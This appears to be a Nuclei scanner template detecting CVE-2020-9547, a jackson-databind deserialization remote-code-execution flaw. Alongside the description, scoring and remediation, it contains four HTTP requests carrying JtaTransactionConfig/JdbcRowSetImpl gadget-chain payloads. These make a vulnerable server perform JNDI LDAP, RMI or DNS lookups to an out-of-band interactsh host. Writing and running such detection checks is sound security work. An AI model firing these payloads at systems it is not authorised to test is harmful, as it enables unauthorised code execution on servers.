1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
id: CVE-2020-9547
info:
name: FasterXML jackson-databind - Deserialization RCE
author: pranjalnegi
severity: critical
description: |
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
impact: |
Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
remediation: |
Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
reference:
- https://github.com/fairyming/CVE-2020-9547
- https://nvd.nist.gov/vuln/detail/CVE-2020-9547
- https://github.com/FasterXML/jackson-databind/issues/2620
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9547
- https://cve.report/CVE-2020-9547
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-9547
cwe-id: CWE-502
epss-score: 0.00943
epss-percentile: 0.81205
cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: fasterxml
product: jackson-databind
shodan-query: cpe:"cpe:2.3:o:debian:debian_linux"
verified: true
tags: cve,cve2020,jackson,databind,deserialization,rce,kev
variables:
randstr: "{{rand_text_alphanumeric(8)}}"
payload_jndi_ldap: "ldap://{{interactsh-url}}/{{randstr}}"
payload_jndi_rmi: "rmi://{{interactsh-url}}/{{randstr}}"
payload_dns: "{{randstr}}.{{interactsh-url}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
User-Agent: {{randstr}}
Connection: close
["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"{{payload_jndi_ldap}}","autoCommit":true}]}]
- |
POST /api HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
User-Agent: {{randstr}}
Connection: close
{"@class":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@class":"java.util.HashMap","userTransactionName":{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{payload_jndi_rmi}}","autoCommit":true}}}
- |
POST /json HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
User-Agent: {{randstr}}
Connection: close
{"id":1,"@class":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":["java.util.Properties",{"dataSource":["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"dns://{{payload_dns}}","autoCommit":true}]}]}
- |
PUT /data HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json
User-Agent: {{randstr}}
Connection: close
[{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","dataSource":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"{{payload_jndi_ldap}}","autoCommit":true}}}]
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol, 'dns') || contains(interactsh_protocol, 'ldap') || contains(interactsh_protocol, 'http')"
- type: word
part: body
words:
- "JsonMappingException"
- "InvalidTypeIdException"
- "JtaTransactionConfig"
- "JdbcRowSetImpl"
- "com.fasterxml.jackson.databind"
- "javax.naming.NamingException"
condition: or
- type: status
status:
- 200
- 400
- 500
condition: or
extractors:
- type: regex
name: jackson_version
part: body
regex:
- "jackson-databind ([0-9.]+)"
- "com\\.fasterxml\\.jackson\\.databind ([0-9.]+)"
group: 1
- type: regex
name: vulnerability_evidence
part: body
regex:
- "(JtaTransactionConfig.*Exception[^\n]*)"
- "(Could not resolve type id[^\n]*)"
|